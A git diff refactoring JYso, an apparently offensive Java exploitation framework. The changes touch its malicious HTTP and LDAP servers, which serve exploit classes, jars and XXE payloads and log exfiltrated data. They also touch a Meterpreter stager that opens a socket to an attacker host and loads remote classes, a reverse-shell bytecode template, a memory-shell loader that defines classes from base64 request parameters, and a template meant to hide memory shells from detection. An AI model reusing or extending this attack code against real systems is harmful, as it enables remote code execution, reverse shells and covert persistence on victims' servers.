diff --git a/README.md b/README.md index b1adc07..6fc99e2 100644 --- a/README.md +++ b/README.md @@ -1,5 +1,5 @@ -

- 100 +

+

JYso

diff --git a/src/main/java/com/qi4l/JYso/HTTPServer.java b/src/main/java/com/qi4l/JYso/HTTPServer.java index cbe824c..b035bdd 100644 --- a/src/main/java/com/qi4l/JYso/HTTPServer.java +++ b/src/main/java/com/qi4l/JYso/HTTPServer.java @@ -5,18 +5,19 @@ import com.qi4l.JYso.gadgets.Config.Config; import com.qi4l.JYso.gadgets.utils.Utils; import com.qi4l.JYso.template.ReverseShellTemplate; import com.sun.net.httpserver.HttpExchange; -import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer; import javassist.ClassPool; import javassist.CtClass; import org.apache.commons.lang3.reflect.FieldUtils; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; import java.io.ByteArrayOutputStream; import java.io.File; -import java.io.FileInputStream; import java.io.IOException; import java.net.InetSocketAddress; import java.nio.charset.StandardCharsets; +import java.nio.file.Files; import java.util.HashMap; import java.util.Map; import java.util.jar.JarOutputStream; @@ -24,55 +25,54 @@ import java.util.zip.ZipEntry; import static org.fusesource.jansi.Ansi.ansi; +@SuppressWarnings("HttpUrlsUsage") public class HTTPServer { - //获取根目录路径 + private static final Logger log = LogManager.getLogger(HTTPServer.class); + // 获取根目录路径 public static String cwd = System.getProperty("user.dir"); public static void start() throws IOException { HttpServer httpServer = HttpServer.create(new InetSocketAddress(Config.httpPort), 0); - httpServer.createContext("/", new HttpHandler() { - @Override - public void handle(HttpExchange httpExchange) { - try { - System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI())); + httpServer.createContext("/", httpExchange -> { + try { + System.out.println(ansi().render("@|green [+]|@ New HTTP Request From >>" + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI())); - String qi = String.valueOf(httpExchange.getRequestURI()); + String qi = String.valueOf(httpExchange.getRequestURI()); - if (qi.contains("setPathAlias")) { - Config.BCEL1 = qi.substring(qi.indexOf("=") + 1); - System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1)); - } else if (qi.contains("setRoute")) { - Config.ROUTE = qi.substring(qi.indexOf("=") + 1); - System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE)); - } - - String path = httpExchange.getRequestURI().getPath(); - if (path.endsWith(".class")) { - handleClassRequest(httpExchange); - } else if (path.endsWith(".wsdl")) { - handleWSDLRequest(httpExchange); - } else if (path.endsWith(".jar")) { - handleJarRequest(httpExchange); - } else if (path.startsWith("/xxelog")) { - handleXXELogRequest(httpExchange); - } else if (path.endsWith(".sql")) { - handleSQLRequest(httpExchange); - } else if (path.endsWith(".groovy")) { - handlerGroovyRequest(httpExchange); - } else if (path.endsWith(".xml")) { - handleXMLRequest(httpExchange); - } else if (path.endsWith(".txt")) { - handleTXTRequest(httpExchange); - } else if (path.endsWith(".yml")) { - handleYmlRequest(httpExchange); - } else { - handleFileRequest(httpExchange); - } - } catch (Exception e) { - e.printStackTrace(); + if (qi.contains("setPathAlias")) { + Config.BCEL1 = qi.substring(qi.indexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ 获取参数成功 >> " + Config.BCEL1)); + } else if (qi.contains("setRoute")) { + Config.ROUTE = qi.substring(qi.indexOf("=") + 1); + System.out.println(ansi().render("@|green [+]|@ 获取路由成功 >> " + Config.ROUTE)); } + + String path = httpExchange.getRequestURI().getPath(); + if (path.endsWith(".class")) { + handleClassRequest(httpExchange); + } else if (path.endsWith(".wsdl")) { + handleWSDLRequest(httpExchange); + } else if (path.endsWith(".jar")) { + handleJarRequest(httpExchange); + } else if (path.startsWith("/xxelog")) { + handleXXELogRequest(httpExchange); + } else if (path.endsWith(".sql")) { + handleSQLRequest(httpExchange); + } else if (path.endsWith(".groovy")) { + handlerGroovyRequest(httpExchange); + } else if (path.endsWith(".xml")) { + handleXMLRequest(httpExchange); + } else if (path.endsWith(".txt")) { + handleTXTRequest(httpExchange); + } else if (path.endsWith(".yml")) { + handleYmlRequest(httpExchange); + } else { + handleFileRequest(httpExchange); + } + } catch (Exception e) { + log.error("e: ", e); } }); @@ -86,16 +86,7 @@ public class HTTPServer { String path = exchange.getRequestURI().getPath(); String filename = cwd + File.separator + "data" + File.separator + path.substring(path.lastIndexOf("/") + 1); File file = new File(filename); - if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; - FileInputStream fileInputStream = new FileInputStream(file); - fileInputStream.read(bytes); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } + serveFileContent(exchange, file, null, null); exchange.close(); } @@ -120,18 +111,7 @@ public class HTTPServer { } else { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + YamlName + ".yml"); - if (file.exists()) { - byte[] bytes1 = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes1); - } - exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes1); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } + serveFileContent(exchange, file, "Content-type", "application/octet-stream"); } exchange.close(); @@ -150,19 +130,7 @@ public class HTTPServer { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + txtname + ".txt"); - if (file.exists()) { - - byte[] bytes1 = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes1); - } - exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes1); - } else { - System.out.println(ansi().render("@|red [!] Response Code: @|" + 404)); - exchange.sendResponseHeaders(404, 0); - } + serveFileContent(exchange, file, "Content-type", "application/octet-stream"); } exchange.close(); } @@ -283,19 +251,7 @@ public class HTTPServer { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + xmlName + ".xml"); - if (file.exists()) { - byte[] bytes1 = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes1); - } - exchange.getResponseHeaders().add("Content-Type", "application/xml; charset=utf-8"); -// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes1); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } + serveFileContent(exchange, file, "Content-Type", "application/xml; charset=utf-8"); } exchange.close(); @@ -331,18 +287,7 @@ public class HTTPServer { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + sqlName + ".sql"); - if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes); - } -// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } + serveFileContent(exchange, file, null, null); } exchange.close(); } @@ -371,18 +316,7 @@ public class HTTPServer { String pa = cwd + File.separator + "data"; File file = new File(pa + File.separator + groovyName + ".groovy"); - if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes); - } -// exchange.getResponseHeaders().set("Content-type","application/octet-stream"); - exchange.sendResponseHeaders(200, file.length() + 1); - exchange.getResponseBody().write(bytes); - } else { - System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); - exchange.sendResponseHeaders(404, 0); - } + serveFileContent(exchange, file, null, null); } exchange.close(); @@ -440,10 +374,7 @@ public class HTTPServer { File file = new File(pa); if (file.exists()) { - byte[] bytes = new byte[(int) file.length()]; - try (FileInputStream fileInputStream = new FileInputStream(file)) { - fileInputStream.read(bytes); - } + byte[] bytes = Files.readAllBytes(file.toPath()); exchange.getResponseHeaders().set("Content-type", "application/octet-stream"); exchange.sendResponseHeaders(200, file.length()); exchange.getResponseBody().write(bytes); @@ -465,18 +396,18 @@ public class HTTPServer { String path = exchange.getRequestURI().getPath().substring(1); if (path.startsWith("list")) { - //intended to list directories or read files on server + // intended to list directories or read files on server String file = params.get("file"); if (file != null && !file.isEmpty()) { - String listWsdl = "" + + String listWsdl = "\n" + - " \n" + - " %bbb;\n" + - "]>\n" + - "\n" + - " &ddd;\n" + - ""; + " \n" + + " \n" + + " %bbb;\n" + + "]>\n" + + "\n" + + " &ddd;\n" + + ""; System.out.println(ansi().render("@|green [+] Response Code: |@" + 200)); exchange.sendResponseHeaders(200, listWsdl.getBytes().length); @@ -528,6 +459,20 @@ public class HTTPServer { } } + private static void serveFileContent(HttpExchange exchange, File file, String headerKey, String headerValue) throws IOException { + if (file.exists()) { + byte[] bytes = Files.readAllBytes(file.toPath()); + if (headerKey != null) { + exchange.getResponseHeaders().set(headerKey, headerValue); + } + exchange.sendResponseHeaders(200, file.length() + 1); + exchange.getResponseBody().write(bytes); + } else { + System.out.println(ansi().render("@|red [!] Response Code: |@" + 404)); + exchange.sendResponseHeaders(404, 0); + } + } + private static Map parseQuery(String query) { Map params = new HashMap<>(); @@ -537,11 +482,11 @@ public class HTTPServer { String[] parts = str.split("=", 2); params.put(parts[0], parts[1]); } catch (Exception e) { - //continue + // continue } } } catch (Exception e) { - //continue + // continue } return params; diff --git a/src/main/java/com/qi4l/JYso/LdapServer.java b/src/main/java/com/qi4l/JYso/LdapServer.java index d58d53e..e9a8873 100644 --- a/src/main/java/com/qi4l/JYso/LdapServer.java +++ b/src/main/java/com/qi4l/JYso/LdapServer.java @@ -9,6 +9,8 @@ import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig; import com.unboundid.ldap.listener.InMemoryListenerConfig; import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult; import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor; +import org.apache.logging.log4j.LogManager; +import org.apache.logging.log4j.Logger; import org.reflections.Reflections; import javax.net.ServerSocketFactory; @@ -26,6 +28,7 @@ import static org.fusesource.jansi.Ansi.ansi; public class LdapServer extends InMemoryOperationInterceptor { + private static final Logger log = LogManager.getLogger(LdapServer.class); public static TreeMap routes = new TreeMap<>(); public LdapServer() throws Exception { @@ -60,7 +63,7 @@ public class LdapServer extends InMemoryOperationInterceptor { SocketFactory.getDefault(), (SSLSocketFactory) SSLSocketFactory.getDefault())); - if (!USER.equals("") || !PASSWD.equals("")) { + if (!USER.isEmpty() || !PASSWD.isEmpty()) { serverConfig.addAdditionalBindCredentials(USER, PASSWD); } @@ -71,14 +74,14 @@ public class LdapServer extends InMemoryOperationInterceptor { ds.startListening(); System.out.println(ansi().render("@|green [+]|@ LDAP Server Start Listening on >> " + Config.ldapPort + "...")); } catch (Exception e) { - e.printStackTrace(); + log.error("e: ", e); } } @Override public void processSearchResult(InMemoryInterceptedSearchResult result) { String base; - if (!ROUTE.equals("")) { + if (!ROUTE.isEmpty()) { base = ROUTE; } else { base = result.getRequest().getBaseDN(); @@ -88,7 +91,7 @@ public class LdapServer extends InMemoryOperationInterceptor { base = base64Decode(base); base = JNDIUtils.decrypt(base, AESkey); } - } catch (Exception AESerr) { + } catch (Exception ignored) { } diff --git a/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java b/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java index 8cc0a2d..61a5bd8 100644 --- a/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/ClassLoaderTemplate.java @@ -31,7 +31,7 @@ public class ClassLoaderTemplate { ClassLoader classLoader = new URLClassLoader(new URL[0], Thread.currentThread().getContextClassLoader()); Method defineClass = classLoader.getClass().getSuperclass().getSuperclass().getDeclaredMethod("defineClass", byte[].class, int.class, int.class); defineClass.setAccessible(true); - Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); + Class invoke = (Class) defineClass.invoke(classLoader, bytes, 0, bytes.length); invoke.newInstance(); //ClassLoader classLoader = Thread.currentThread().getContextClassLoader(); @@ -63,17 +63,17 @@ public class ClassLoaderTemplate { } public static byte[] base64Decode(String bs) throws Exception { - Class base64; + Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + Object decoder = base64.getMethod("getDecoder").invoke(base64); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); } catch (Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); } catch (Exception ignored) { } } diff --git a/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java b/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java index bbf51ac..02dbf8f 100644 --- a/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java +++ b/src/main/java/com/qi4l/JYso/template/DefineClassFromParameter.java @@ -5,6 +5,7 @@ package com.qi4l.JYso.template; * 从 Parameter 默认为 "dc" 中取字符进行 base64 decode，然后进行类加载，参考 ShiroAttack2 * 内存马 class 文件可以自行生成，base64 编码后由 request body 中的 dc 参数传递 */ +@SuppressWarnings("unused") public class DefineClassFromParameter { public static String parameter = "dc"; @@ -16,9 +17,8 @@ public class DefineClassFromParameter { java.lang.reflect.Field f = group.getClass().getDeclaredField("threads"); f.setAccessible(true); Thread[] threads = (Thread[]) f.get(group); - for (int i = 0; i < threads.length; i++) { + for (Thread t : threads) { try { - Thread t = threads[i]; if (t == null) continue; String str = t.getName(); if (str.contains("exec") || !str.contains("http")) continue; @@ -45,20 +45,20 @@ public class DefineClassFromParameter { obj = f.get(obj); f = obj.getClass().getDeclaredField("processors"); f.setAccessible(true); - java.util.List processors = (java.util.List) (f.get(obj)); - for (int j = 0; j < processors.size(); ++j) { - Object processor = processors.get(j); + java.util.List processors = (java.util.List) (f.get(obj)); + for (Object processor : processors) { f = processor.getClass().getDeclaredField("req"); f.setAccessible(true); Object req = f.get(processor); - Object note = req.getClass().getMethod("getNote", new Class[]{Integer.TYPE}).invoke(req, new Object[]{new Integer(1)}); - String payload = (String) note.getClass().getMethod("getParameter", new Class[]{String.class}).invoke(note, new Object[]{parameter}); + Object note = req.getClass().getMethod("getNote", Integer.TYPE).invoke(req, 1); + String payload = (String) note.getClass().getMethod("getParameter", String.class).invoke(note, parameter); if (payload != null && !payload.isEmpty()) { byte[] classBytes = base64Decode(payload); + if (classBytes == null) continue; java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE); method.setAccessible(true); - Class clazz = (Class) method.invoke(DefineClassFromParameter.class.getClassLoader(), classBytes, new Integer(0), new Integer(classBytes.length)); + Class clazz = (Class) method.invoke(DefineClassFromParameter.class.getClassLoader(), classBytes, 0, classBytes.length); clazz.newInstance(); } @@ -74,21 +74,10 @@ public class DefineClassFromParameter { } public static byte[] base64Decode(String bs) { - Class base64; - byte[] value = null; try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", new Class[]{}).invoke(null, (Object[]) null); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); + return ClassLoaderTemplate.base64Decode(bs); } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception ignored) { - } + return null; } - - return value; } } diff --git a/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java b/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java index 7c6bc54..ca5e767 100644 --- a/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/HideMemShellTemplate.java @@ -10,10 +10,11 @@ import java.io.FileOutputStream; * 使常见的工具无法检测出系统内的内存马 * 由于 classes 文件夹默认不存在，因此需要较高的读写权限 */ +@SuppressWarnings("unused") public class HideMemShellTemplate extends ClassLoader { - static String b64; + static String b64 = ""; - static String className; + static String className = ""; static { try { @@ -45,7 +46,7 @@ public class HideMemShellTemplate extends ClassLoader { File file = new File(javaHome + "/classes/" + className.replace(".", "/") + ".class"); if (!file.getParentFile().exists()) { - file.getParentFile().mkdirs(); + boolean ignored = file.getParentFile().mkdirs(); } FileOutputStream fos = new FileOutputStream(file); @@ -54,22 +55,8 @@ public class HideMemShellTemplate extends ClassLoader { fos.close(); } - public static byte[] base64Decode(String bs) { - Class base64; - byte[] value = null; - try { - base64 = Class.forName("java.util.Base64"); - Object decoder = base64.getMethod("getDecoder", (Class) null).invoke(base64, (Object) null); - value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception e) { - try { - base64 = Class.forName("sun.misc.BASE64Decoder"); - Object decoder = base64.newInstance(); - value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{bs}); - } catch (Exception ignored) { - } - } - return value; + public static byte[] base64Decode(String bs) throws Exception { + return ClassLoaderTemplate.base64Decode(bs); } diff --git a/src/main/java/com/qi4l/JYso/template/Meterpreter.java b/src/main/java/com/qi4l/JYso/template/Meterpreter.java index cb15aa1..8b09c0a 100644 --- a/src/main/java/com/qi4l/JYso/template/Meterpreter.java +++ b/src/main/java/com/qi4l/JYso/template/Meterpreter.java @@ -11,10 +11,6 @@ import java.util.HashMap; public class Meterpreter extends ClassLoader implements Runnable { - static /* synthetic */ Class class$0; - static /* synthetic */ Class class$1; - static /* synthetic */ Class class$2; - static { Meterpreter meterpreter = new Meterpreter(); @@ -24,7 +20,7 @@ public class Meterpreter public String host; public String port; - private HashMap parameterMap; + private HashMap parameterMap; public static void main(String[] args) { Meterpreter meterpreter = new Meterpreter(); @@ -48,9 +44,13 @@ public class Meterpreter return ""; } + @SuppressWarnings("unchecked") public boolean equals(Object paramObject) { + if (!(paramObject instanceof HashMap)) { + return false; + } try { - this.parameterMap = (HashMap) paramObject; + this.parameterMap = (HashMap) paramObject; this.host = this.get("host"); this.port = this.get("port"); } catch (Exception e) { @@ -60,20 +60,19 @@ public class Meterpreter } public void getShell() throws Exception { - InputStream inputStream1 = null; - OutputStream outputStream = null; - int j = new Integer(this.port); + int j = Integer.parseInt(this.port); String str4 = this.host; - Socket socket = null; - if (str4 != null) { - socket = new Socket(str4, j); + if (str4 == null) { + return; + } + try (Socket socket = new Socket(str4, j)) { + InputStream inputStream1 = socket.getInputStream(); + OutputStream outputStream = socket.getOutputStream(); + new Meterpreter().bootstrap(inputStream1, outputStream); } - inputStream1 = socket.getInputStream(); - outputStream = socket.getOutputStream(); - new Meterpreter().bootstrap(inputStream1, outputStream); } - private final void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) throws Exception { + private void bootstrap(InputStream paramInputStream, OutputStream paramOutputStream) { try { Class clazz; DataInputStream dataInputStream = new DataInputStream(paramInputStream); @@ -84,53 +83,28 @@ public class Meterpreter clazz = this.defineClass(null, arrayOfByte, 0, i); this.resolveClass(clazz); } while ((i = dataInputStream.readInt()) > 0); - Object object = clazz.newInstance(); - Class[] classArray = new Class[3]; - Class clazz2 = class$0; - if (clazz2 == null) { - try { - clazz2 = class$0 = Class.forName("java.io.DataInputStream"); - } catch (ClassNotFoundException classNotFoundException) { - throw new NoClassDefFoundError(classNotFoundException.getMessage()); - } - } - classArray[0] = clazz2; - Class clazz3 = class$1; - if (clazz3 == null) { - try { - clazz3 = class$1 = Class.forName("java.io.OutputStream"); - } catch (ClassNotFoundException classNotFoundException) { - throw new NoClassDefFoundError(classNotFoundException.getMessage()); - } - } - classArray[1] = clazz3; - Class clazz4 = class$2; - if (clazz4 == null) { - try { - clazz4 = class$2 = Class.forName("[Ljava.lang.String;"); - } catch (ClassNotFoundException classNotFoundException) { - throw new NoClassDefFoundError(classNotFoundException.getMessage()); - } - } - classArray[2] = clazz4; - clazz.getMethod("start", classArray).invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); + Object object = clazz.getDeclaredConstructor().newInstance(); + clazz.getMethod("start", DataInputStream.class, OutputStream.class, String[].class) + .invoke(object, dataInputStream, paramOutputStream, new String[]{"", ""}); } catch (Throwable throwable) { // empty catch block } } + @Override + @SuppressWarnings("CallToPrintStackTrace") public void run() { try { this.getShell(); } catch (Exception exception) { - System.out.println(exception); + exception.printStackTrace(); // empty catch block } } public String get(String key) { try { - return new String((byte[]) this.parameterMap.get(key)); + return new String(this.parameterMap.get(key)); } catch (Exception e) { return null; } diff --git a/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java b/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java index 68b7d43..713bf86 100644 --- a/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java +++ b/src/main/java/com/qi4l/JYso/template/ReverseShellTemplate.java @@ -8,12 +8,8 @@ import static org.objectweb.asm.Opcodes.*; public class ReverseShellTemplate implements Template { private String className; private byte[] bytes; - private String ip; - private int port; - - public ReverseShellTemplate(String ip, String port) { - this(ip, Integer.parseInt(port)); - } + private final String ip; + private final int port; public ReverseShellTemplate(String ip, int port) { @@ -46,7 +42,6 @@ public class ReverseShellTemplate implements Template { ClassWriter cw = new ClassWriter(0); FieldVisitor fv; MethodVisitor mv; - AnnotationVisitor av0; cw.visit(V1_6, ACC_PUBLIC + ACC_SUPER, className, null, "com/sun/org/apache/xalan/internal/xsltc/runtime/AbstractTranslet", null);